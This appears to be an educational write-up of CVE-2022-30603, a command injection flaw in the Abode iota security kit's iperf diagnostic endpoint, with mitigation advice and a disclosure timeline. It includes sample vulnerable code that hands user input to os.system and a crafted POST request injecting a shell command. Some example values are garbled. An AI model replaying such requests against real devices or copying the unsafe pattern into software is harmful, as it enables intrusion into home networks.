CVE-2022-30603 - OS Command Injection in Abode iota Security Kit’s `/action/iperf` Endpoint

In the world of smart home security, devices from Abode Systems, Inc. are a popular choice. However, in versions 6.9X and 6.9Z of their iota All-In-One Security Kit, a critical security weakness was discovered: CVE-2022-30603. This OS command injection vulnerability allows a hacker—if authenticated—to send a crafted HTTP request, leading to arbitrary code execution on the device.

Let's break down this vulnerability, look at example code, and learn how attackers exploited it.

What is Command Injection?

Command injection happens when data from a user isn’t properly checked, letting someone inject and run system commands on the device. This could give an intruder full control.

## Abode iota’s Vulnerable /action/iperf Endpoint

The iota security system has a web interface meant for diagnostic use, accessible after authentication. One feature allows users to start an iperf network performance test by sending an HTTP request to /action/iperf. Unfortunately, the iperf parameters are used unsafely.

Below is a simplified and hypothetical version of the vulnerable backend logic

# /action/iperf handler (simplified pseudocode)
def handle_iperf_request(request):
    ip = request.POST.get('ip')          # User-supplied
    port = request.POST.get('port')      # User-supplied
    mode = request.POST.get('mode')      # User-supplied

    # BAD: Parameters are directly inserted into a shell command!
    os.system(f"iperf -{mode} -c {ip} -p {port}")

Any value under ip, port, or mode could include shell special characters—allowing an attacker to execute their own code.

Needs network access (local or remote, depending on deployment)

2. The Exploit

By sending a crafted HTTP POST request to /action/iperf, an attacker can inject operating system commands.

Example Malicious Request

POST /action/iperf HTTP/1.1
Host: [TARGET_IP]
Cookie: session=valid_sessionid
Content-Type: application/x-www-form-urlencoded

mode=c; echo+hacked > /tmp/pwned; #
&ip=10...2
&port=808

In this case, the mode parameter is set to c; echo+hacked > /tmp/pwned; #, breaking out of the intended command to run their own (echo hacked > /tmp/pwned). The # comments out the rest of the command line.

`shell

iperf -c; echo hacked > /tmp/pwned; # -c 10...2 -p 808
 - The device creates a file named /tmp/pwned containing the text "hacked". With a more dangerous payload, an attacker could download malware, create persistence, or use the device as a stepping stone into the home network. --- ## Real-World Impact With command injection, attackers can: - Exfiltrate sensitive information - Install ransomware or spyware - Attack the local network from the inside All of this, just by sending a POST request—if they're logged in. --- ## Responsible Disclosure and Patch ### Timeline & References - Discovery: Researchers at Cisco Talos identified and reported the vulnerability. - Patch: Abode Systems released a security update fixing input validation. 👉 Official advisory and patch notes: - Cisco Talos Report – TALOS-2022-151 - NIST NVD Entry for CVE-2022-30603 --- ## Protection & Mitigation - Upgrade your Abode iota Security Kit to the latest firmware. - Limit access to the device web UI; don’t expose to the wider internet. - Use strong, unique passwords for your device accounts. --- ## Conclusion CVE-2022-30603 is a wake-up call on the risks that come with web-enabled smart home devices and weak input validation. Even simple built-in tools, like iperf, can become dangerous in the wrong hands. Always keep your devices updated, know what networked devices you own, and never re-use passwords. Exclusive Tip: If you have shell access, check /tmp/` for odd files. If you see unfamiliar ones, change your device password and update firmware immediately.

Stay safe—smart homes are only as smart as we secure them.

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*This post is for educational purposes only. Never exploit vulnerabilities in devices you don’t own or have permission to test.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 13:51:00 UTC